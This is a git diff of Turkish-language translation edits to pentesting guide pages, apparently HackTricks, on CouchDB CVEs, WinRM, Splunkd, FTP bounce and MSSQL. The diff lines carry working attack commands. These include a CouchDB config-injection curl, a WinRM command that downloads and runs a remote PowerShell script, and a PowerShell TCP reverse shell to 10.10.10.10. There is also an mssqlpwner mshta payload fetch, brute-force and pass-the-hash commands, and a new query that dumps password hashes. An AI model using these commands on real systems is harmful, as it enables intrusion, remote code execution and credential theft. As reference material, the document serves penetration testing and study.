hazırlanır; izinler listelenerek doğrulanır: ```bash root@canape:/home/homer/etc# ls -l -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini @@ -143,7 +143,7 @@ root@canape:/home/homer/etc# ls -l -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` -Zafiyeti istismar etmek için, `local.ini` dosyasındaki `cors/origins` yapılandırmasını hedef alan bir curl komutu çalıştırılır. Bu, `[os_daemons]` bölümünde rastgele kod çalıştırmayı amaçlayan ek komutlarla birlikte yeni bir köken enjekte eder: +Zafiyeti istismar etmek için, `local.ini` dosyasındaki `cors/origins` yapılandırmasını hedef alan bir curl komutu çalıştırılır. Bu, `[os_daemons]` bölümünde rastgele kod çalıştırmayı amaçlayan yeni bir köken ve ek komutlar enjekte eder: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` @@ -166,7 +166,7 @@ root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` -Bu keşif, belirli koşullar altında CVE-2018-8007 istismarının uygulanabilirliğini doğrulamaktadır; özellikle `local.ini` dosyasına yazılabilir erişim gereksinimi. Sağlanan kod örnekleri ve prosedürel adımlar, istismarı kontrollü bir ortamda tekrarlamak için net bir rehber sunmaktadır. +Bu keşif, belirli koşullar altında CVE-2018-8007 istismarının uygulanabilirliğini doğrulamaktadır; özellikle `local.ini` dosyasına yazılabilir erişim gerekliliği. Sağlanan kod örnekleri ve prosedürel adımlar, istismarı kontrollü bir ortamda tekrarlamak için net bir rehber sunmaktadır. CVE-2018-8007 hakkında daha fazla bilgi için mdsec'in tavsiyesine bakın: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). @@ -174,7 +174,7 @@ CVE-2018-8007 hakkında daha fazla bilgi için mdsec'in tavsiyesine bakın: [CVE Örnek [buradan](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -CouchDB süreci aracılığıyla kod yürütülmesine olanak tanıyan CVE-2017-12636 olarak bilinen bir zafiyet incelenmiştir; ancak belirli yapılandırmalar istismarını engelleyebilir. Çevrimiçi olarak mevcut olan birçok Kanıtı Konsept (POC) referansına rağmen, zafiyeti CouchDB sürüm 2'de istismar etmek için ayarlamalar gereklidir; bu, genellikle hedef alınan sürüm 1.x'ten farklıdır. İlk adımlar, CouchDB sürümünü doğrulamayı ve beklenen sorgu sunucuları yolunun yokluğunu onaylamayı içerir: +CouchDB süreci aracılığıyla kod yürütülmesine olanak tanıyan CVE-2017-12636 olarak bilinen bir zafiyet incelendi; ancak belirli yapılandırmalar istismarını engelleyebilir. Çevrimiçi olarak mevcut olan birçok Kanıtı Konsept (POC) referansına rağmen, zafiyeti CouchDB sürüm 2'de istismar etmek için ayarlamalar gereklidir; bu, genellikle hedef alınan sürüm 1.x'ten farklıdır. İlk adımlar, CouchDB sürümünü doğrulamayı ve beklenen sorgu sunucuları yolunun yokluğunu onaylamayı içerir: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ @@ -188,22 +188,22 @@ Yeni bir sorgu sunucusu ekleme ve çağırma girişimleri, aşağıdaki çıktı ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` -Daha fazla araştırma, yazılamayan `local.ini` dosyasıyla ilgili izin sorunlarını ortaya çıkardı. Dosya izinlerini root veya homer erişimi ile değiştirerek devam etmek mümkün hale geldi: +Daha fazla araştırma, yazılabilir olmayan `local.ini` dosyasıyla ilgili izin sorunlarını ortaya çıkardı. Dosya izinlerini root veya homer erişimi ile değiştirerek devam etmek mümkün hale geldi: ```bash cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` -Sonraki sorgu sunucusu ekleme girişimleri başarılı oldu; bu, yanıttaki hata mesajlarının olmamasıyla gösterilmektedir. `local.ini` dosyasının başarılı bir şekilde değiştirilmesi dosya karşılaştırmasıyla doğrulandı: +Sonraki sorgu sunucusu ekleme girişimleri başarılı oldu; bu, yanıttaki hata mesajlarının yokluğuyla gösterilmektedir. `local.ini` dosyasındaki başarılı değişiklik, dosya karşılaştırmasıyla doğrulandı: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` -Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna özel bir görünüm eşlemesi aracılığıyla kodu çalıştırma girişimi yapıldı: +Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna özel bir görünüm eşlemesi aracılığıyla kod çalıştırma girişimi yapıldı: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` -Bir [**özet**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) alternatif bir yük ile belirli koşullar altında CVE-2017-12636'nin istismarına dair daha fazla bilgi sunmaktadır. Bu güvenlik açığını istismar etmek için **yararlı kaynaklar** şunlardır: +Bir [**özet**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) alternatif bir yük ile belirli koşullar altında CVE-2017-12636'nın istismarına dair daha fazla bilgi sunmaktadır. Bu güvenlik açığını istismar etmek için **yararlı kaynaklar** şunlardır: - [POC exploit kodu](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) - [Exploit Database girişi](https://www.exploit-db.com/exploits/44913/) diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index ca9e7d385..a82c9639c 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -4,70 +4,70 @@ ## WinRM -[Windows Remote Management (WinRM)]() **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin uzaktan yönetimini** HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenmektedir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar. +[Windows Remote Management (WinRM)](), **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin uzaktan yönetimini** HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenmektedir ve WMI işlemleri için HTTP tabanlı bir arayüz sunar. Bir makinede WinRM'in varlığı, PowerShell aracılığıyla basit uzaktan yönetim sağlar; bu, diğer işletim sistemleri için SSH'nin nasıl çalıştığına benzer. WinRM'in çalışıp çalışmadığını belirlemek için belirli portların açılıp açılmadığını kontrol etmek önerilir: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** -Yukarıdaki listeden açık bir port, WinRM'in yapılandırıldığını gösterir ve böylece uzaktan bir oturum başlatma girişimlerine izin verir. +Yukarıdaki listeden açık bir port, WinRM'in kurulu olduğunu gösterir ve böylece uzaktan bir oturum başlatma girişimlerine izin verir. ### **WinRM Oturumu Başlatma** PowerShell'i WinRM için yapılandırmak üzere, Microsoft'un `Enable-PSRemoting` cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul edecek şekilde ayarlar. Yükseltilmiş PowerShell erişimi ile, bu işlevselliği etkinleştirmek ve herhangi bir hostu güvenilir olarak belirlemek için aşağıdaki komutlar çalıştırılabilir: -```powershell +```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -Bu yaklaşım, `trustedhosts` yapılandırmasına bir joker karakter eklemeyi içerir; bu adım, sonuçları nedeniyle dikkatli bir değerlendirme gerektirir. Ayrıca, saldırganın makinesinde ağ türünün "Public"ten "Work"e değiştirilmesinin gerekli olabileceği de belirtilmiştir. +Bu yaklaşım, `trustedhosts` yapılandırmasına bir joker karakter eklemeyi içerir; bu adım, sonuçları nedeniyle dikkatli bir değerlendirme gerektirir. Ayrıca, saldırganın makinesinde ağ türünün "Genel"den "İş"e değiştirilmesinin gerekli olabileceği de belirtilmiştir. Ayrıca, WinRM `wmic` komutu kullanılarak **uzaktan etkinleştirilebilir**, aşağıdaki gibi gösterilmiştir: -```powershell +```bash wmic /node: process call create "powershell enable-psremoting -force" ``` Bu yöntem, uzaktan WinRM kurulumu yapmayı sağlar ve Windows makinelerini uzaktan yönetme esnekliğini artırır. -### Yapılandırıldığını Test Et +### Yapılandırıldığını test et -Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin düzgün yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır: +Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin doğru bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır: -- **doğru** yapılandırılmış bir hedef için, çıktı buna benzer görünecektir: +- **Doğru** bir şekilde yapılandırılmış bir hedef için, çıktı aşağıdaki gibi görünecektir: ```bash Test-WSMan ``` -Yanıt, WinRM'nin doğru bir şekilde yapılandırıldığını belirten protokol sürümü ve wsmid hakkında bilgi içermelidir. +Yanıt, protokol sürümü ve wsmid hakkında bilgi içermelidir; bu, WinRM'nin doğru bir şekilde yapılandırıldığını gösterir. ![](<../images/image (582).png>) -- Aksine, WinRM için **yapılandırılmamış** bir hedef için, böyle ayrıntılı bir bilgi elde edilemeyecek ve uygun bir WinRM yapılandırmasının yokluğunu vurgulayacaktır. +- Aksine, WinRM için **yapılandırılmamış** bir hedef için, böyle ayrıntılı bir bilgi elde edilemeyecek ve bu da uygun bir WinRM yapılandırmasının yokluğunu vurgulayacaktır. ![](<../images/image (458).png>) ### Bir komut çalıştır Hedef makinede `ipconfig` komutunu uzaktan çalıştırmak ve çıktısını görüntülemek için: -```powershell +```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) -Ayrıca, _**Invoke-Command**_ aracılığıyla mevcut PS konsolunuzda bir komut **çalıştırabilirsiniz**. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak** istiyorsunuz, bunu yapabilirsiniz: -```powershell +Ayrıca, **mevcut PS konsolunuzda bir komut çalıştırabilirsiniz** _**Invoke-Command**_ aracılığıyla. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak istiyorsunuz**, bunu yapabilirsiniz: +```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Bir Script Çalıştırın -```powershell +```bash Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Ters kabuk al -```powershell +```bash Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### PS oturumu al Etkileşimli bir PowerShell kabuğu almak için `Enter-PSSession` kullanın: -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -89,14 +89,14 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New ### **WinRM'yi Açmaya Zorlama** -PS Remoting ve WinRM kullanmak istiyorsanız ancak bilgisayar yapılandırılmamışsa, bunu şu şekilde etkinleştirebilirsiniz: -```powershell +PS Remoting ve WinRM kullanmak için ancak bilgisayar yapılandırılmamışsa, bunu şu şekilde etkinleştirebilirsiniz: +```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Oturumları Kaydetme ve Geri Yükleme -Bu **çalışmayacak** eğer **dil** uzaktaki bilgisayarda **kısıtlıysa**. -```powershell +Bu **çalışmaz** eğer **dil** uzaktaki bilgisayarda **kısıtlıysa**. +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -108,14 +108,14 @@ $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessi Enter-PSSession -Session $sess1 ``` Bu oturumlar içinde _Invoke-Command_ kullanarak PS betikleri yükleyebilirsiniz. -```powershell +```bash Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Hatalar Aşağıdaki hatayı bulursanız: -`enter-pssession : Uzak sunucu 10.10.10.175 ile bağlantı kurma başarısız oldu. Hata mesajı: WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.` +`enter-pssession : Uzak sunucu 10.10.10.175'e bağlanma başarısız oldu, hata mesajı: WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.` İstemcide deneme (bilgi için [buraya](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): ```ruby @@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ### Kaba Kuvvet -Dikkatli olun, winrm'yi kaba kuvvetle denemek kullanıcıları engelleyebilir. +Dikkatli olun, winrm'yi kaba kuvvetle kırmak kullanıcıları engelleyebilir. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt @@ -142,11 +142,11 @@ crackmapexec winrm -d -u -H -X '$PSVersionT ```ruby gem install evil-winrm ``` -**belgeler**'i github'da okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) +**belgeleri** github'dan okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` -Evil-winrm'i bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayarak o alana bağlanın. +Evil-winrm kullanarak bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayarak o alana bağlanın. ### Hash'i evil-winrm ile geçin ```ruby diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 44cf2d6c0..e99bf6c8c 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -4,8 +4,8 @@ ## **Temel Bilgiler** -- Veri toplama, analiz ve görselleştirme için kullanılan log analitik aracı -- Güvenlik izleme ve iş analitiğinde yaygın olarak kullanılır +- Veri toplama, analiz ve görselleştirme için kullanılan günlük analitik aracı +- Güvenlik izleme ve iş analitiği için yaygın olarak kullanılır - Varsayılan portlar: - Web sunucusu: 8000 - Splunkd servisi: 8089 @@ -17,13 +17,13 @@ - Deneme sürümü 60 gün sonra otomatik olarak ücretsiz sürüme dönüşür - Ücretsiz sürüm kimlik doğrulama eksikliği taşır - Yönetilmediğinde potansiyel güvenlik riski -- Yöneticiler güvenlik sonuçlarını gözden kaçırabilir +- Yöneticiler güvenlik etkilerini gözden kaçırabilir 2. Kimlik Bilgisi Zayıflıkları - Eski sürümler: Varsayılan kimlik bilgileri `admin:changeme` - Yeni sürümler: Kurulum sırasında ayarlanan kimlik bilgileri -- Zayıf şifre kullanma potansiyeli (örn. `admin`, `Welcome`, `Password123`) +- Zayıf şifre kullanma potansiyeli (örn., `admin`, `Welcome`, `Password123`) 3. Uzaktan Kod Çalıştırma Fırsatları @@ -57,7 +57,7 @@ Splunk, özel uygulama dağıtımı aracılığıyla uzaktan kod çalıştırma Özel bir uygulama **Python, Batch, Bash veya PowerShell scriptleri** çalıştırabilir. Ayrıca, **Splunk ile Python yüklü gelir**, bu nedenle **Windows** sistemlerinde bile python kodu çalıştırabileceksiniz. -[**bu**](https://github.com/0xjpuff/reverse_shell_splunk) örneğini **`bin`** içeren örnekle kullanabilirsiniz [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) ve [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) için. Ya da kendi uygulamanızı oluşturabilirsiniz. +[**bu**](https://github.com/0xjpuff/reverse_shell_splunk) örneğini **`bin`** içeren [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) ve [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) için kullanabilirsiniz. Ya da kendi uygulamanızı oluşturabilirsiniz. İstismar süreci, platformlar arasında tutarlı bir metodoloji izler: ``` @@ -79,7 +79,7 @@ Dağıtım basittir: 4. Yükleme sırasında otomatik script yürütmesini tetikleyin Örnek Windows PowerShell ters shell: -```powershell +```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; @@ -105,7 +105,7 @@ pty.spawn('/bin/bash') ``` ### RCE & Yetki Yükseltme -Aşağıdaki sayfada bu hizmetin nasıl kötüye kullanılabileceğine dair bir açıklama bulabilirsiniz: +Aşağıdaki sayfada bu hizmetin nasıl kötüye kullanılabileceğine dair bir açıklama bulabilirsiniz, yetkileri yükseltmek ve kalıcılık elde etmek için: {{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index 213f21cd6..0df1e8452 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -12,14 +12,14 @@ `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` -3. **`LIST`** kullanın (bu, bağlı _\_ ile FTP klasöründeki mevcut dosyaların listesini gönderecektir) ve olası yanıtları kontrol edin: `150 File status okay` (Bu, portun açık olduğu anlamına gelir) veya `425 No connection established` (Bu, portun kapalı olduğu anlamına gelir) +3. **`LIST`** kullanın (bu, bağlı _\_ için FTP klasöründeki mevcut dosyaların listesini gönderecektir) ve olası yanıtları kontrol edin: `150 File status okay` (Bu, portun açık olduğu anlamına gelir) veya `425 No connection established` (Bu, portun kapalı olduğu anlamına gelir) 1. `LIST` yerine **`RETR /file/in/ftp`** kullanabilir ve benzer `Open/Close` yanıtlarını arayabilirsiniz. -**PORT** kullanarak örnek (172.32.80.80'in 8080 portu açık ve 7777 portu kapalı): +Örnek **PORT** kullanarak (172.32.80.80'in 8080 portu açık ve 7777 portu kapalı): ![](<../../images/image (241).png>) -**`EPRT`** kullanarak aynı örnek (kimlik doğrulama resimde atlanmıştır): +Aynı örnek **`EPRT`** kullanarak (kimlik doğrulama resimde atlanmıştır): ![](<../../images/image (539).png>) diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 0738376a4..ad11fdb0d 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve alma işlevine sahip bir yazılım ürünüdür—bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir. +> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve alma işlevine sahip bir yazılım ürünüdür; bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir. **Varsayılan port:** 1433 ``` @@ -18,19 +18,19 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlama yönetimi yapmak üzere bu veritabanını kullanır. - **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, sıralama, kurtarma modeli gibi değişiklikler, yeni oluşturulan veritabanlarında yansıtılır. - **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, fiziksel olarak Resource veritabanında saklanırken, her veritabanının sys şemasında mantıksal olarak sunulur. -- **tempdb Veritabanı**: Geçici nesneler veya ara sonuç setleri için geçici bir depolama alanı olarak hizmet eder. +- **tempdb Veritabanı**: Geçici nesneler veya ara sonuç kümeleri için geçici bir depolama alanı olarak hizmet eder. ## Sayım ### Otomatik Sayım -Hizmet hakkında hiçbir şey bilmiyorsanız: +Eğer hizmet hakkında hiçbir şey bilmiyorsanız: ```bash nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> Eğer **kimlik bilgilerin yoksa** onları tahmin etmeyi deneyebilirsin. nmap veya metasploit kullanabilirsin. Dikkatli ol, mevcut bir kullanıcı adı ile birkaç kez giriş yapmaya çalışırsan **hesapları engelleyebilirsin**. +> Eğer **kimlik bilgilerine** **sahip değilseniz** onları tahmin etmeyi deneyebilirsiniz. nmap veya metasploit kullanabilirsiniz. Dikkatli olun, mevcut bir kullanıcı adı ile birkaç kez giriş yapmaya çalışırsanız **hesapları engelleyebilirsiniz**. #### Metasploit (kimlik bilgileri gerekli) ```bash @@ -159,7 +159,7 @@ SELECT * FROM sysusers - **Sunucu** – Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur. - **Veritabanı** – Örnekler arasında veritabanı rolleri, uygulama rolleri, şemalar, sertifikalar, tam metin katalogları ve kullanıcılar yer alır. - **Şema** – Tablo, görünüm, prosedür, fonksiyon, eşanlamlılar vb. içerir. -2. **İzin:** SQL Server securables ile ilişkili olan, ALTER, CONTROL ve CREATE gibi izinler bir prensipe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir: +2. **İzin:** SQL Server securables ile ilişkili olan izinler, ALTER, CONTROL ve CREATE gibi, bir prensipe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir: - **Sunucu Seviyesi** girişler kullanılarak - **Veritabanı Seviyesi** kullanıcılar kullanılarak 3. **Prensip:** Bu terim, bir securable'a izin verilen varlığı ifade eder. Prensipler esas olarak girişler ve veritabanı kullanıcılarını içerir. Securables'a erişim üzerindeki kontrol, izinlerin verilmesi veya reddedilmesi yoluyla veya girişlerin ve kullanıcıların erişim haklarına sahip rollere dahil edilmesiyle sağlanır. @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### OS Komutlarını Çalıştır > [!CAUTION] -> Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** sahip olmanın da gerekli olduğunu unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için: +> Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** de sahip olmanız gerektiğini unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için: > > ```sql > Use master @@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` +### Hashlenmiş şifreleri al +```bash +SELECT * FROM master.sys.syslogins; +``` ### NetNTLM hash'ını Çal / Relay saldırısı Kimlik doğrulamada kullanılan hash'i yakalamak için bir **SMB sunucusu** başlatmalısınız (`impacket-smbserver` veya `responder` gibi). @@ -286,7 +290,7 @@ Bu araçları nasıl kullanacağınızı görebilirsiniz: ### **Dosya Yazma** -`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekir, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız: +`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekiyor, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 @@ -304,9 +308,9 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, ' use auxiliary/admin/mssql/mssql_escalate_dbowner ``` Ya da bir **PS** scripti: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` ### Diğer kullanıcıların taklit edilmesi -SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **olanak tanır** ve bu durum, bağlam sıfırlanana kadar veya oturum sona erene kadar devam eder. +SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **imkan tanır**. Bu durum, bağlam sıfırlanana kadar veya oturum sona erene kadar devam eder. ```sql # Find users you can impersonate SELECT distinct b.name @@ -505,9 +509,9 @@ enum_links use_link [NAME] ``` > [!NOTE] -> Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz. +> Bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz. -Unutmayın ki bir kez sysadmin olduğunuzda, diğer herhangi birini taklit edebilirsiniz: +Sysadmin olduğunuzda, başka birini taklit edebileceğinizi unutmayın: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' @@ -521,8 +525,8 @@ Bu saldırıyı bir **metasploit** modülü ile gerçekleştirebilirsiniz: ```bash msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` -ve bir **PS** script ile: -```powershell +ve bir **PS** betiği ile: +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module 